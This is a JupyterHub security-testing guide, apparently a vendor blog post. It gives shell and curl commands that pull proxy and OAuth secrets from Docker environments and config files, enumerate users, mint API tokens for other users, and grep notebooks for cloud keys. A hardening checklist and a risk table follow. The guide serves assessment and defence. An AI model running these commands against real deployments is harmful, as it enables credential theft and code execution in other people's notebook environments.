Notebook Server Security Testing

JupyterHub Security Testing: Default Credentials, API Key, Database, and Notebook Server

📅 July 3, 2026 ⏱ 10 min read 🏷 JupyterHub, Notebook Server Security, CONFIGPROXY_AUTH_TOKEN, Admin API Token, Notebook RCE, Python Execution, jupyterhub_config.py, OAuth Credentials, Cloud Credential Exposure

JupyterHub is a multi-user Jupyter notebook server widely deployed in data science teams, research organizations, and universities — notebook servers run as the user and can execute arbitrary Python code with access to all connected data sources. Key assessment areas: CONFIGPROXY_AUTH_TOKEN grants full HTTP proxy admin access; admin API tokens enumerate all users and their active servers; notebook server tokens allow Python code execution; and jupyterhub_config.py exposes OAuth client secrets, database URLs, and cloud credentials. This guide covers systematic JupyterHub security assessment.

CONFIGPROXY_AUTH_TOKEN and Proxy Admin Access
Admin API Token: User Enumeration and Server Access
Notebook File Credential Exposure and Code Execution
JupyterHub Security Hardening

CONFIGPROXY_AUTH_TOKEN and Proxy Admin Access

# JupyterHub — CONFIGPROXY_AUTH_TOKEN and proxy admin access
JH_URL="https://jupyter.example.com"

# Environment variables (most sensitive)
docker inspect jupyterhub 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['CONFIGPROXY_AUTH_TOKEN', 'JUPYTERHUB_API_TOKEN',
                                  'JUPYTERHUB_SECRET', 'OAUTH_CLIENT', 'DATABASE_URL']):
            print(e)
" 2>/dev/null
# CONFIGPROXY_AUTH_TOKEN=...  <-- configurable HTTP proxy auth token (admin access)
# JUPYTERHUB_API_TOKEN=...    <-- hub API token
# OAUTH_CLIENT_SECRET=...     <-- OAuth provider secret

# jupyterhub_config.py — JupyterHub configuration
cat /etc/jupyterhub/jupyterhub_config.py 2>/dev/null | grep -E "secret|password|token|client|database" | head -20
# c.JupyterHub.proxy_auth_token = '...'  <-- proxy authentication token
# c.GitHubOAuthenticator.client_secret = '...'
# c.GenericOAuthenticator.client_secret = '...'
# c.JupyterHub.db_url = 'postgresql://user:pass@host/db'

# CONFIGPROXY_AUTH_TOKEN — access to the configurable HTTP proxy API
PROXY_TOKEN="extracted-proxy-token"
PROXY_PORT=8001  # default configurable proxy API port

# List all routes proxied by the hub
curl -s "http://localhost:${PROXY_PORT}/api/routes" \
  -H "Authorization: token ${PROXY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for path, route in d.items():
    print(f'  Route: {path} -> {route.get(\"target\")}')
    # Routes include /user/{username}/ paths for each user server
" 2>/dev/null

Admin API Token: User Enumeration and Server Access

# JupyterHub admin API — user enumeration and server access
JH_URL="https://jupyter.example.com"
ADMIN_TOKEN="your-admin-api-token"

# List all users and their server status
curl -s "${JH_URL}/hub/api/users" \
  -H "Authorization: token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d:
    server = u.get('server')
    print(f'  {u.get(\"name\")} admin={u.get(\"admin\")} server={server}')
" 2>/dev/null

# Create an API token for any user (admin can create tokens for others)
TARGET_USER="data-scientist"
curl -s -X POST "${JH_URL}/hub/api/users/${TARGET_USER}/tokens" \
  -H "Authorization: token ${ADMIN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"note":"pentest token","expires_in":3600}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User token: {d.get(\"token\")}')
print(f'User: {d.get(\"user\")}')
" 2>/dev/null

# Use user token to access their Jupyter server (execute code)
USER_TOKEN="user-token-from-above"
USER_SERVER="${JH_URL}/user/${TARGET_USER}"

# List kernels on user server
curl -s "${USER_SERVER}/api/kernels" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k in d:
    print(f'  Kernel: {k.get(\"id\")} lang={k.get(\"name\")}')
" 2>/dev/null

# Token validation endpoint (can be used to brute-force valid tokens)
curl -s "${JH_URL}/hub/api/authorizations/token/${USER_TOKEN}" \
  -H "Authorization: token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Valid for: {d.get(\"name\")}')
print(f'Admin: {d.get(\"admin\")}')
" 2>/dev/null

Notebook File Credential Exposure and Code Execution

# JupyterHub notebook files — credential exposure and code execution assessment
JH_URL="https://jupyter.example.com"
USER_TOKEN="user-token"
TARGET_USER="data-scientist"
USER_SERVER="${JH_URL}/user/${TARGET_USER}"

# List notebook files in user's home directory
curl -s "${USER_SERVER}/api/contents/" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for f in d.get('content',[]):
    print(f'  {f.get(\"name\")} type={f.get(\"type\")} size={f.get(\"size\")}')
" 2>/dev/null

# Read a specific notebook (may contain hardcoded credentials)
NOTEBOOK="data-pipeline.ipynb"
curl -s "${USER_SERVER}/api/contents/${NOTEBOOK}" \
  -H "Authorization: token ${USER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for cell in d.get('content',{}).get('cells',[]):
    src = ''.join(cell.get('source',''))
    if any(s in src.lower() for s in ['password','secret','key','token','aws','gcp']):
        print(f'SENSITIVE in {cell.get(\"cell_type\")} cell:')
        print(src[:200])
" 2>/dev/null
# Notebooks often contain:
# - AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
# - GCP service account JSON keys
# - Database connection strings with passwords
# - API keys for external services (Stripe, Twilio, etc.)

# Check environment variables in notebook kernel (cloud credentials)
# Execute code on user's kernel via WebSocket to read env vars
# This reveals credentials configured in the notebook server environment

JupyterHub Security Hardening

JupyterHub Security Hardening Checklist:

Protect CONFIGPROXY_AUTH_TOKEN and disable proxy API external access — JupyterHub's configurable HTTP proxy (CHP) uses an API on a separate port (default 8001) authenticated by CONFIGPROXY_AUTH_TOKEN; this token grants full control over the proxy routing table, allowing an attacker to redirect user traffic, enumerate all active user server routes, and potentially intercept user sessions; the proxy API port should be bound to localhost only (127.0.0.1) and never exposed to external networks; CONFIGPROXY_AUTH_TOKEN should be set to a cryptographically random 32-byte value; in Docker deployments, ensure the proxy API port is not published to the host; rotate the token by updating jupyterhub_config.py and restarting JupyterHub
Restrict admin API token creation and audit token policies — JupyterHub administrators can create API tokens for any user using the hub API; these user tokens provide access to the user's notebook server, allowing file reads and Python code execution; audit which users have admin rights in jupyterhub_config.py (c.Authenticator.admin_users); limit admin rights to the minimum necessary set; implement token expiry for all user tokens; be aware that JupyterHub's /hub/api/authorizations/token/{token} endpoint can be used to verify whether any token string is valid — implement rate limiting on this endpoint to prevent token enumeration attacks; review the database (hub.sqlite or PostgreSQL) for long-lived tokens that should be revoked
Understand that Jupyter notebooks are arbitrary code execution environments — a valid token to a user's Jupyter server allows executing arbitrary Python code within that user's environment; this is by design (Jupyter is a code execution environment), but the security implications are significant: code execution accesses all data mounted in the user's container, can read environment variables containing cloud credentials (AWS_ACCESS_KEY_ID, GOOGLE_APPLICATION_CREDENTIALS), can access connected databases with the user's permissions, and can make network requests to internal services; treat each Jupyter server as a privileged compute environment; implement network egress controls on notebook servers to limit which external services they can reach; run notebook servers with minimal permissions
Audit notebook files for hardcoded credentials — Jupyter notebook files (.ipynb) are JSON files that store both code cells and their outputs; data scientists frequently hardcode credentials directly in notebook code (AWS keys for S3 access, database passwords for direct connection, API keys for external services); these credentials persist in the notebook file and may be committed to version control; implement pre-commit hooks that scan for credential patterns in .ipynb files before they are committed; use JupyterHub's secret injection mechanism to provide credentials via environment variables rather than hardcoded values; configure Sentry or similar error tracking to detect when credentials appear in notebook outputs; audit all notebooks in shared project directories for embedded credentials
Protect OAuth client secrets in jupyterhub_config.py — JupyterHub is commonly configured with OAuth authentication (GitHub, Google, GitLab, LDAP) via authenticator plugins; the OAuth client secret is stored in jupyterhub_config.py as c.GitHubOAuthenticator.client_secret or similar; if this file is readable by non-root users, the OAuth client secret can be extracted and used to impersonate the JupyterHub application with the OAuth provider; protect jupyterhub_config.py with chmod 640 restricted to the jupyterhub service user; use environment variables or a secrets manager to inject OAuth secrets rather than storing them in the configuration file; rotate OAuth client secrets if jupyterhub_config.py has been exposed

Security Test	Method	Risk
CONFIGPROXY_AUTH_TOKEN extraction — proxy admin access	Read jupyterhub_config.py or Docker env — full HTTP proxy control; enumerate all active user server routes; redirect user traffic	Critical
Admin API token — create user tokens for arbitrary Python execution	POST /hub/api/users/{user}/tokens with admin token — user token for notebook server access; arbitrary Python code execution in user environment	Critical
Notebook file credential extraction (AWS/GCP/database keys)	GET /api/contents/{notebook}.ipynb — notebook source cells with hardcoded AWS_ACCESS_KEY_ID, database passwords, API keys embedded in data pipeline code	High
jupyterhub_config.py OAuth client secret extraction	Read /etc/jupyterhub/jupyterhub_config.py — OAuth client secret for GitHub/Google/GitLab authenticator; impersonate JupyterHub with OAuth provider	High
Token validation endpoint token enumeration	GET /hub/api/authorizations/token/{token} — brute-force valid token strings; no rate limiting by default; enumerate active user sessions	Medium

Automate JupyterHub Security Testing

Ironimo tests JupyterHub deployments for CONFIGPROXY_AUTH_TOKEN proxy admin access extraction, /hub/api/users admin API token user and server enumeration, notebook file credential scanning for AWS/GCP/database keys, jupyterhub_config.py OAuth client secret exposure, hub.sqlite session and token database extraction, Docker environment variable JUPYTERHUB_API_TOKEN disclosure, /hub/api/authorizations/token/ rate limiting assessment, single-user server token arbitrary Python execution path, proxy API external accessibility testing, and PostgreSQL hub database credential extraction.

Start free scan

Table of Contents

CONFIGPROXY_AUTH_TOKEN and Proxy Admin Access

Admin API Token: User Enumeration and Server Access

Notebook File Credential Exposure and Code Execution

JupyterHub Security Hardening

Automate JupyterHub Security Testing